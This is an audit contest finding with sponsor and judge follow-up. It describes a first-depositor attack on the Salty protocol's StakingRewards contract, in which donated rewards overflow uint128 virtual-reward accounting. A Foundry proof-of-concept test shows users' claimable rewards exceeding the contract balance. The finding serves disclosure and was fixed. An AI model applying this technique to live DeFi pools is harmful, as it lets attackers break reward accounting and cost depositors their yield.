First depositor can break staking-rewards accounting

[c4-bot-4]

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L81

Vulnerability details

Impact

Staking in SALTY pools happens automatically when adding liquidity. In order to track the accrued rewards, the code "simulates" the amount of virtual rewards that need to be added given the increase of shares and lend this amount to the user. So, when computing the real rewards for a given user, the code will compute its rewards based on the totalRewards of the given pool minus the virtual rewards. The following code computes the virtual rewards for a user:

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L81

uint256 virtualRewardsToAdd = Math.ceilDiv( totalRewards[poolID] * increaseShareAmount, existingTotalShares );

Basically, it aims to maintain the current ratio of totalRewards and existingTotalShares. The issue with this is that allows the first depositor to set the ratio too high by donating some SALT tokens to the contract. For example, consider the following values:

uint256 virtualRewardsToAdd = Math.ceilDiv( 1000e18 * 200e18, 202 );

The returned value is in order of 39-40 digits. Which is beyond what 128 bits can represent:

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L83-L84

user.virtualRewards += uint128(virtualRewardsToAdd);
totalRewards[poolID] += uint128(virtualRewardsToAdd);

This will broke the reward computations. For a more concrete example look the PoC.

Proof of Concept

The following coded PoC showcase an scenario where the first depositor set the rewards / shares ratio too high, causing the rewards system to get broken. Specifically, it shows how the sum of the claimable rewards for each user is greater than the SALT balance of the contract.

It should be pasted under Staking/tests/StakingRewards.t.sol.

function testUserCanBrickRewards() public {
        vm.startPrank(DEPLOYER);
        // Alice is the first depositor to poolIDs[1] and she deposited the minimum amounts 101 and 101 of both tokens.
        // Hence, alice will get 202 shares.          
        stakingRewards.externalIncreaseUserShare(alice, poolIDs[1], 202, true);
        assertEq(stakingRewards.userShareForPool(alice, poolIDs[1]), 202);
        vm.stopPrank();

        // Alice adds 100 SALT as rewards to the pool.
        AddedReward[] memory addedRewards = new AddedReward[](1);
        addedRewards[0] = AddedReward(poolIDs[1], 100 ether);
        stakingRewards.addSALTRewards(addedRewards);

        // Bob deposits 100 DAI and 100 USDS he will receive (202 * 100e8) / 101 = 200e18 shares.
        vm.startPrank(DEPLOYER);
        stakingRewards.externalIncreaseUserShare(bob, poolIDs[1], 200e18, true);
        assertEq(stakingRewards.userShareForPool(bob, poolIDs[1]), 200e18);
        vm.stopPrank();

        // Charlie deposits 10000 DAI and 10000 USDS he will receive (202 * 10000e8) / 101 = 20000e18 shares.
        vm.startPrank(DEPLOYER);
        stakingRewards.externalIncreaseUserShare(charlie, poolIDs[1], 20000e18, true);
        assertEq(stakingRewards.userShareForPool(charlie, poolIDs[1]), 20000e18);
        vm.stopPrank();

        // Observe how virtual rewards are broken. 
        uint256 virtualRewardsAlice = stakingRewards.userVirtualRewardsForPool(alice, poolIDs[1]);
        uint256 virtualRewardsBob = stakingRewards.userVirtualRewardsForPool(bob, poolIDs[1]);
        uint256 virtualRewardsCharlie = stakingRewards.userVirtualRewardsForPool(charlie, poolIDs[1]);

        console.log("Alice virtual rewards %s", virtualRewardsAlice);
        console.log("Bob virtual rewards %s", virtualRewardsBob);
        console.log("Charlie virtual rewards %s", virtualRewardsCharlie);

        // Observe the amount of claimable rewards.
        uint256 aliceRewardAfter = stakingRewards.userRewardForPool(alice, poolIDs[1]);
        uint256 bobRewardAfter = stakingRewards.userRewardForPool(bob, poolIDs[1]);
        uint256 charlieRewardAfter = stakingRewards.userRewardForPool(charlie, poolIDs[1]);

        console.log("Alice rewards %s", aliceRewardAfter);
        console.log("Bob rewards %s", bobRewardAfter);
        console.log("Charlie rewards %s", charlieRewardAfter);

        // The sum of claimable rewards is greater than 1000e18 SALT.
        uint256 sumOfRewards = aliceRewardAfter + bobRewardAfter + charlieRewardAfter;  
        console.log("All rewards &s", sumOfRewards);

        bytes32[] memory poolIDs2;

        poolIDs2 = new bytes32[](1);

        poolIDs2[0] = poolIDs[1];

        // It reverts
        vm.expectRevert("ERC20: transfer amount exceeds balance");
        vm.startPrank(charlie);
        stakingRewards.claimAllRewards(poolIDs2);
        vm.stopPrank();
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Some options:

• Make the function addRewards in the StakingRewards contract permissioned. In this way, all rewards will need to go through the emitter first.

• Do not let the first depositor to manipulate the initial ratio of rewards / share. It is possible for every pool to burn the initial 10000 shares and starts with an initial small amount of rewards, kind of simulating being the first depositor.

Assessed type

Other

[c4-sponsor]

othernet-global (sponsor) confirmed

[othernet-global]

virtualRewards and userShare are now uint256 rather than uint128.

Fixed in: https://github.com/othernet-global/salty-io/commit/5f79dc4f0db978202ab7da464b09bf08374ec618

[Picodes]

Considering that you could time this to break in the future and that it seems easily doable by an attacker on a new pool, High severity seems justified under "Loss of matured yield".

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as selected for report